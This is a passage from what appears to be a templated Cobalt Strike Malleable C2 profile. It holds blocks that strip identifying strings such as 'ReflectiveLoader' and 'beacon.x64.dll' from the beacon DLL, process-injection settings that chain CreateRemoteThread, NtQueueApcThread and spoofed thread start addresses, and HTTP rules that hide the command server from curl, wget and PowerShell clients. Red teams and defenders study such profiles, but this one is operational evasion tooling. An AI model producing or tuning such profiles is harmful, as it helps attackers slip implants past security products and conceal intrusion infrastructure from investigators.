"CreateSymbolicLinkW" ""; 224 | strrep "SetDefaultDllDirectories" ""; 225 | strrep "EnumSystemLocalesEx" ""; 226 | strrep "CompareStringEx" ""; 227 | strrep "GetDateFormatEx" ""; 228 | strrep "GetLocaleInfoEx" ""; 229 | strrep "GetTimeFormatEx" ""; 230 | strrep "GetUserDefaultLocaleName" ""; 231 | strrep "IsValidLocaleName" ""; 232 | strrep "LCMapStringEx" ""; 233 | strrep "GetCurrentPackageId" ""; 234 | strrep "UNICODE" ""; 235 | strrep "UTF-8" ""; 236 | strrep "UTF-16LE" ""; 237 | strrep "MessageBoxW" ""; 238 | strrep "GetActiveWindow" ""; 239 | strrep "GetLastActivePopup" ""; 240 | strrep "GetUserObjectInformationW" ""; 241 | strrep "GetProcessWindowStation" ""; 242 | strrep "Sunday" ""; 243 | strrep "Monday" ""; 244 | strrep "Tuesday" ""; 245 | strrep "Wednesday" ""; 246 | strrep "Thursday" ""; 247 | strrep "Friday" ""; 248 | strrep "Saturday" ""; 249 | strrep "January" ""; 250 | strrep "February" ""; 251 | strrep "March" ""; 252 | strrep "April" ""; 253 | strrep "June" ""; 254 | strrep "July" ""; 255 | strrep "August" ""; 256 | strrep "September" ""; 257 | strrep "October" ""; 258 | strrep "November" ""; 259 | strrep "December" ""; 260 | strrep "MM/dd/yy" ""; 261 | strrep "Stack memory around _alloca was corrupted" ""; 262 | strrep "Unknown Runtime Check Error" ""; 263 | strrep "Unknown Filename" ""; 264 | strrep "Unknown Module Name" ""; 265 | strrep "Run-Time Check Failure #%d - %s" ""; 266 | strrep "Stack corrupted near unknown variable" ""; 267 | strrep "Stack pointer corruption" ""; 268 | strrep "Cast to smaller type causing loss of data" ""; 269 | strrep "Stack memory corruption" ""; 270 | strrep "Local variable used before initialization" ""; 271 | strrep "Stack around _alloca corrupted" ""; 272 | strrep "RegOpenKeyExW" ""; 273 | strrep "egQueryValueExW" ""; 274 | strrep "RegCloseKey" ""; 275 | strrep "LibTomMath" ""; 276 | strrep "Wow64DisableWow64FsRedirection" ""; 277 | strrep "Wow64RevertWow64FsRedirection" ""; 278 | strrep "Kerberos" ""; 279 | } 280 | 281 | transform-x64 { # transform the x64 rDLL stage 282 | prepend "\x66\x0f\x1f\x84\x00\x00\x00\x00\x00"; # prepend null bytes 283 | strrep "ReflectiveLoader" "Append"; # Change this text 284 | strrep "This program cannot be run in DOS mode" ""; # Remove this text 285 | strrep "beacon.x64.dll" ""; # Remove this text 286 | strrep "%name%" ""; 287 | strrep "NtQueueApcThread" ""; 288 | strrep "HTTP/1.1 200 OK" ""; 289 | strrep "Stack memory was corrupted" ""; 290 | strrep "beacon.dll" ""; 291 | strrep "KERNEL32.dll" ""; 292 | strrep "ADVAPI32.dll" ""; 293 | strrep "WININET.dll" ""; 294 | strrep "WS2_32.dll" ""; 295 | strrep "DNSAPI.dll" ""; 296 | strrep "Secur32.dll" ""; 297 | strrep "VirtualProtectEx" ""; 298 | strrep "VirtualProtect" ""; 299 | strrep "VirtualAllocEx" ""; 300 | strrep "VirtualAlloc" ""; 301 | strrep "VirtualFree" ""; 302 | strrep "VirtualQuery" ""; 303 | strrep "RtlVirtualUnwind" ""; 304 | strrep "sAlloc" ""; 305 | strrep "FlsFree" ""; 306 | strrep "FlsGetValue" ""; 307 | strrep "FlsSetValue" ""; 308 | strrep "InitializeCriticalSectionEx" ""; 309 | strrep "CreateSemaphoreExW" ""; 310 | strrep "SetThreadStackGuarantee" ""; 311 | strrep "CreateThreadpoolTimer" ""; 312 | strrep "SetThreadpoolTimer" ""; 313 | strrep "WaitForThreadpoolTimerCallbacks" ""; 314 | strrep "CloseThreadpoolTimer" ""; 315 | strrep "CreateThreadpoolWait" ""; 316 | strrep "SetThreadpoolWait" ""; 317 | strrep "CloseThreadpoolWait" ""; 318 | strrep "FlushProcessWriteBuffers" ""; 319 | strrep "FreeLibraryWhenCallbackReturns" ""; 320 | strrep "GetCurrentProcessorNumber" ""; 321 | strrep "GetLogicalProcessorInformation" ""; 322 | strrep "CreateSymbolicLinkW" ""; 323 | strrep "SetDefaultDllDirectories" ""; 324 | strrep "EnumSystemLocalesEx" ""; 325 | strrep "CompareStringEx" ""; 326 | strrep "GetDateFormatEx" ""; 327 | strrep "GetLocaleInfoEx" ""; 328 | strrep "GetTimeFormatEx" ""; 329 | strrep "GetUserDefaultLocaleName" ""; 330 | strrep "IsValidLocaleName" ""; 331 | strrep "LCMapStringEx" ""; 332 | strrep "GetCurrentPackageId" ""; 333 | strrep "UNICODE" ""; 334 | strrep "UTF-8" ""; 335 | strrep "UTF-16LE" ""; 336 | strrep "MessageBoxW" ""; 337 | strrep "GetActiveWindow" ""; 338 | strrep "GetLastActivePopup" ""; 339 | strrep "GetUserObjectInformationW" ""; 340 | strrep "GetProcessWindowStation" ""; 341 | strrep "Sunday" ""; 342 | strrep "Monday" ""; 343 | strrep "Tuesday" ""; 344 | strrep "Wednesday" ""; 345 | strrep "Thursday" ""; 346 | strrep "Friday" ""; 347 | strrep "Saturday" ""; 348 | strrep "January" ""; 349 | strrep "February" ""; 350 | strrep "March" ""; 351 | strrep "April" ""; 352 | strrep "June" ""; 353 | strrep "July" ""; 354 | strrep "August" ""; 355 | strrep "September" ""; 356 | strrep "October" ""; 357 | strrep "November" ""; 358 | strrep "December" ""; 359 | strrep "MM/dd/yy" ""; 360 | strrep "Stack memory around _alloca was corrupted" ""; 361 | strrep "Unknown Runtime Check Error" ""; 362 | strrep "Unknown Filename" ""; 363 | strrep "Unknown Module Name" ""; 364 | strrep "Run-Time Check Failure #%d - %s" ""; 365 | strrep "Stack corrupted near unknown variable" ""; 366 | strrep "Stack pointer corruption" ""; 367 | strrep "Cast to smaller type causing loss of data" ""; 368 | strrep "Stack memory corruption" ""; 369 | strrep "Local variable used before initialization" ""; 370 | strrep "Stack around _alloca corrupted" ""; 371 | strrep "RegOpenKeyExW" ""; 372 | strrep "egQueryValueExW" ""; 373 | strrep "RegCloseKey" ""; 374 | strrep "LibTomMath" ""; 375 | strrep "Wow64DisableWow64FsRedirection" ""; 376 | strrep "Wow64RevertWow64FsRedirection" ""; 377 | strrep "Kerberos" ""; 378 | } 379 | 380 | } 381 | 382 | ################################################ 383 | ## Process Injection 384 | ################################################ 385 | process-inject { 386 | 387 | set allocator "%injection%"; # Options: VirtualAllocEx, NtMapViewOfSection 388 | set min_alloc "17500"; # Minimum amount of memory to request for injected content 389 | set startrwx "false"; # Use RWX as initial permissions for injected content. Alternative is RW. 390 | 391 | # review sleepmask and UDRL considerations for userwx 392 | set userwx "false"; # Use RWX as final permissions for injected content. Alternative is RX. 393 | 394 | transform-x86 { 395 | # Make sure that prepended data is valid code for the injected content's architecture (x86, x64). The c2lint program does not have a check for this. 396 | prepend "\x0f\x1f\x40\x00"; 397 | append "\x50\x58"; 398 | } 399 | 400 | transform-x64 { 401 | # Make sure that prepended data is valid code for the injected content's architecture (x86, x64). The c2lint program does not have a check for this. 402 | prepend "\x0f\x1f\x40\x00"; 403 | append "\x50\x58"; 404 | } 405 | 406 | execute { 407 | # Beacon examines each option in the execute block, determines if the option is usable for the current context, tries the method when it is usable, and moves on to the next option if code execution did not happen. 408 | CreateThread "kernel32.dll!ContinueDebugEvent+0x90"; 409 | NtQueueApcThread-s; 410 | NtQueueApcThread; 411 | CreateRemoteThread "ntdll.dll!RtlUserThreadStart+0x90"; 412 | RtlCreateUserThread; 413 | } 414 | } 415 | 416 | 417 | ################################################ 418 | ## Operator should edit this manually 419 | ################################################ 420 | 421 | ################################################ 422 | # Will probably use placeholders in the future 423 | # to replace this automatically 424 | # TO-DO 425 | ################################################ 426 | 427 | ################################################ 428 | ## HTTP Headers 429 | ################################################ 430 | http-config { # The http-config block has influence over all HTTP responses served by Cobalt Strike’s web server. 431 | set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; 432 | 433 | # Use this option if your teamserver is behind a redirector 434 | set trust_x_forwarded_for "%forward%"; 435 | 436 | # Block Specific User Agents with a 404 437 | set block_useragents "curl*, lynx*, wget*, ncat*, python-requests*, *WindowsPowerShell*"; 438 | 439 | # Allow Specific User Agents 440 | # allow_useragents ""; (if specified, block_useragents will take precedence) 441 | } 442 | 443 | ################################################ 444 | ## HTTP GET 445 | ################################################ 446 | %GET% 447 | 448 | ################################################ 449 | ## HTTP POST 450 | ################################################ 451 | %POST% --------------------------------------------------------------------------------